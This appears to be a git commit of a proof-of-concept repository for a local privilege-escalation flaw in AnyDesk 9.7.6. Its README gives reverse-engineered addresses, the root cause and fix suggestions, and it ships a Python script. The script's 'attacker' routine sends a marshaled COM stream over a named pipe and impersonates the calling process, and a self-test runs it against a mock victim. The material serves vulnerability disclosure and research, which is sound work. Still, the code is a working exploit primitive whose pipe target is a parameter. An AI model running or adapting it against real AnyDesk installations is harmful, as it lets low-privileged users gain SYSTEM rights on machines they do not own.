Upload files to "anydesk-printer-com-impersonation-poc"

This commit is contained in:
2026-06-29 16:29:53 +00:00
parent 64005f8f25
commit 880afd4f0b
3 changed files with 326 additions and 0 deletions
@@ -0,0 +1,109 @@
# AnyDesk 9.7.6 Printer Pipe COM Impersonation PoC
This repository documents and validates a local privilege-escalation primitive identified in AnyDesk for Windows 9.7.6.
The issue is in the local printer IPC path. The service-side printer worker creates `\\.\pipe\adprinterpipe`, accepts a message containing attacker-controlled COM marshaling bytes, unmarshals an `IUnknown`, queries `IStream`, and calls `IStream::Read`. Because the process initializes COM with impersonation level `RPC_C_IMP_LEVEL_IMPERSONATE`, the attacker-controlled COM object can impersonate the AnyDesk process during the callback.
## Affected Target
- Product: AnyDesk for Windows
- Version analyzed: 9.7.6
- Release date observed from vendor changelog: 2026-06-15
- Official download sample SHA256: `d83236fad1405ff369f16ad12b684a30177fe81c47c1f824f9fea6b74d64cc4a`
- Runtime payload architecture: 32-bit Windows PE
## Impact
When AnyDesk is installed as a Windows service, the service install path uses `CreateServiceW` with `lpServiceStartName = NULL`, so Windows runs the service as LocalSystem by default. A low-privileged local user that reaches the printer pipe can provide a marshaled `IStream` and receive a COM callback from the AnyDesk process. During that callback, COM impersonation allows the attacker-side object to impersonate the caller.
The practical impact is local privilege escalation from a low-privileged local user to the AnyDesk service identity. In the default installed-service case, that identity is `NT AUTHORITY\SYSTEM`.
## Evidence Summary
The following locations were identified in the reconstructed 9.7.6 runtime image:
| Area | Evidence |
| --- | --- |
| Pipe creation | `FUN_0100f190` creates `\\.\pipe\adprinterpipe` with `CreateNamedPipeW` |
| Pipe ACL | `0x100f206-0x100f229` builds `S-1-1-0`; `0x100f37b-0x100f38a` grants `GENERIC_ALL` |
| Pipe worker | `FUN_0100ed60` starts the worker and dispatches reads |
| Read boundary | `FUN_0100e9f0` reads up to `0x1000` bytes from the pipe |
| COM unmarshaling | `FUN_0100e6e0` copies attacker bytes to an `HGLOBAL`, calls `CreateStreamOnHGlobal`, then `CoUnmarshalInterface` |
| Interface callback | `FUN_0100e6e0` queries `IID_IStream`; `FUN_0100e520` calls `IStream::Read` |
| COM security | `0xf71fef-0xf72005` calls `CoInitializeSecurity` with impersonation level `3` |
| Service identity | `0xf6799e` calls `CreateServiceW` with a null service account argument |
## PoC Design
`poc.py` contains two validation paths:
- `analyze`: static marker check against an AnyDesk runtime PE.
- `selftest`: local two-process harness that reproduces the same COM flow: pipe message, `CoUnmarshalInterface(IUnknown)`, `QueryInterface(IStream)`, and `IStream::Read`.
The self-test prints the identity impersonated by the attacker-controlled `IStream::Read` implementation. This validates the COM impersonation primitive without modifying AnyDesk or launching elevated commands.
## Requirements
- Python 3.10 or newer
- Windows for `selftest`
- `pywin32` for COM and named-pipe APIs
Install dependencies:
```powershell
python -m pip install -r requirements.txt
```
## Usage
Run the local COM impersonation self-test:
```powershell
python poc.py selftest
```
Expected output shape:
```text
[attacker]
PROBE_IMPERSONATED=DOMAIN\User
[victim]
VICTIM_READ_COMPLETE
```
Run static marker analysis against a local AnyDesk runtime PE:
```powershell
python poc.py analyze path\to\AnyDesk-runtime.exe
```
Expected output shape:
```json
{
"markers": {
"pipe_name_utf16": true,
"iid_iunknown": true,
"iid_istream": true,
"co_unmarshal_import": true
}
}
```
## Root Cause
The IPC boundary trusts a pipe client enough to supply marshaled COM object data. COM unmarshaling can create a proxy to an attacker-controlled local COM server. Any method call on that proxy crosses back into attacker-controlled code. Since the AnyDesk process configures COM with impersonation enabled, the server side of that callback can impersonate the AnyDesk caller.
The pipe ACL expands the local attack surface by allowing `Everyone` access. The service identity then raises the impact because the installed service runs as LocalSystem by default.
## Fix Direction
- Do not accept marshaled COM interfaces from low-privileged pipe clients.
- Replace the marshaled `IStream` handoff with a byte-oriented protocol owned by the service.
- Restrict the pipe DACL to the exact intended service/user SID set.
- If COM must remain, use a lower impersonation level and enforce caller identity checks before unmarshaling or invoking attacker-provided interfaces.
- Add regression tests for pipe DACLs and COM security settings.
## Validation Status
The COM impersonation primitive is validated by the included harness. Static analysis ties the same primitive to the AnyDesk 9.7.6 printer pipe path. A live installed-service VM should be used for final vendor-grade confirmation of the `NT AUTHORITY\SYSTEM` identity in the real service context.
@@ -0,0 +1,216 @@
import argparse
import ctypes
import json
import os
import pathlib
import struct
import subprocess
import sys
import time
import uuid
def utf16le(value):
return value.encode("utf-16le")
def analyze_binary(path):
data = pathlib.Path(path).read_bytes()
markers = {
"pipe_name_utf16": utf16le(r"\\.\pipe\adprinterpipe") in data,
"print_default_ascii": b"ad.security.print=true" in data,
"service_mode_utf16": utf16le(" --service") in data,
"iid_iunknown": bytes.fromhex("0000000000000000c000000000000046") in data,
"iid_istream": bytes.fromhex("0c00000000000000c000000000000046") in data,
"co_unmarshal_import": b"CoUnmarshalInterface" in data,
"co_initialize_security_import": b"CoInitializeSecurity" in data,
"create_named_pipe_import": b"CreateNamedPipeW" in data,
"create_service_import": b"CreateServiceW" in data,
}
result = {
"path": str(path),
"size": len(data),
"markers": markers,
"matched": sum(1 for value in markers.values() if value),
"total": len(markers),
}
print(json.dumps(result, indent=2))
return 0 if result["matched"] >= 7 else 1
def impersonated_user():
import win32api
import win32con
import win32security
ole32 = ctypes.OleDLL("ole32")
hr = ole32.CoImpersonateClient()
if hr < 0:
return f"CoImpersonateClient failed: 0x{ctypes.c_ulong(hr).value:08x}"
try:
token = win32security.OpenThreadToken(win32api.GetCurrentThread(), win32con.TOKEN_QUERY, True)
user_sid, _ = win32security.GetTokenInformation(token, win32security.TokenUser)
name, domain, _ = win32security.LookupAccountSid(None, user_sid)
return f"{domain}\\{name}"
finally:
ole32.CoRevertToSelf()
class ProbeStream:
_com_interfaces_ = []
_public_methods_ = [
"Read",
"Write",
"Seek",
"SetSize",
"CopyTo",
"Commit",
"Revert",
"LockRegion",
"UnlockRegion",
"Stat",
"Clone",
]
def Read(self, count):
print(f"PROBE_IMPERSONATED={impersonated_user()}", flush=True)
return b""
def Write(self, data):
return len(data)
def Seek(self, move, origin):
return 0
def SetSize(self, size):
return None
def CopyTo(self, other, count):
return (0, 0)
def Commit(self, flags):
return None
def Revert(self):
return None
def LockRegion(self, offset, count, lock_type):
return None
def UnlockRegion(self, offset, count, lock_type):
return None
def Stat(self, flags):
return None
def Clone(self):
return None
def marshal_probe_stream():
import pythoncom
import win32com.server.util
pythoncom.CoInitialize()
ProbeStream._com_interfaces_ = [pythoncom.IID_IStream]
obj = win32com.server.util.wrap(ProbeStream(), pythoncom.IID_IStream)
stream = pythoncom.CreateStreamOnHGlobal()
pythoncom.CoMarshalInterface(stream, pythoncom.IID_IUnknown, obj, pythoncom.MSHCTX_LOCAL, pythoncom.MSHLFLAGS_NORMAL)
size = stream.Seek(0, 1)
stream.Seek(0, 0)
return stream.Read(size), obj
def attacker(pipe_name):
import pythoncom
import win32con
import win32file
payload, keepalive = marshal_probe_stream()
message = struct.pack("<IIB", 1, len(payload), 1) + payload
handle = win32file.CreateFile(pipe_name, win32con.GENERIC_READ | win32con.GENERIC_WRITE, 0, None, win32con.OPEN_EXISTING, 0, None)
try:
win32file.WriteFile(handle, message)
deadline = time.time() + 8
while time.time() < deadline:
pythoncom.PumpWaitingMessages()
time.sleep(0.02)
finally:
keepalive = None
win32file.CloseHandle(handle)
def victim(pipe_name):
import pywintypes
import pythoncom
import win32file
import win32pipe
pythoncom.CoInitialize()
pythoncom.CoInitializeSecurity(None, None, None, 0, 3, None, 0, None)
pipe = win32pipe.CreateNamedPipe(pipe_name, 3, 0, 1, 0x1000, 0x1000, 15000, None)
try:
try:
win32pipe.ConnectNamedPipe(pipe, None)
except pywintypes.error as exc:
if exc.winerror != 535:
raise
_, data = win32file.ReadFile(pipe, 0x1000)
command, length = struct.unpack("<II", data[:8])
payload = data[9 : 9 + length]
if command != 1:
raise RuntimeError(f"unexpected command {command}")
stream = pythoncom.CreateStreamOnHGlobal()
stream.Write(payload)
stream.Seek(0, 0)
unknown = pythoncom.CoUnmarshalInterface(stream, pythoncom.IID_IUnknown)
istream = unknown.QueryInterface(pythoncom.IID_IStream)
istream.Read(32)
print("VICTIM_READ_COMPLETE", flush=True)
finally:
win32file.CloseHandle(pipe)
def selftest():
if os.name != "nt":
print(json.dumps({"error": "selftest requires Windows"}, indent=2))
return 2
pipe_name = rf"\\.\pipe\ad_printer_com_probe_{uuid.uuid4().hex}"
script = os.path.abspath(__file__)
victim_proc = subprocess.Popen([sys.executable, script, "victim", pipe_name], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
time.sleep(0.8)
attacker_proc = subprocess.Popen([sys.executable, script, "attacker", pipe_name], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
attacker_out, _ = attacker_proc.communicate(timeout=12)
victim_out, _ = victim_proc.communicate(timeout=12)
print("[attacker]")
print(attacker_out.strip())
print("[victim]")
print(victim_out.strip())
return attacker_proc.returncode or victim_proc.returncode
def main():
parser = argparse.ArgumentParser()
sub = parser.add_subparsers(dest="mode", required=True)
sub.add_parser("selftest")
analyze = sub.add_parser("analyze")
analyze.add_argument("binary")
victim_parser = sub.add_parser("victim")
victim_parser.add_argument("pipe")
attacker_parser = sub.add_parser("attacker")
attacker_parser.add_argument("pipe")
args = parser.parse_args()
if args.mode == "selftest":
raise SystemExit(selftest())
if args.mode == "analyze":
raise SystemExit(analyze_binary(args.binary))
if args.mode == "victim":
victim(args.pipe)
return
if args.mode == "attacker":
attacker(args.pipe)
return
if __name__ == "__main__":
main()
@@ -0,0 +1 @@
pywin32>=306; platform_system=="Windows"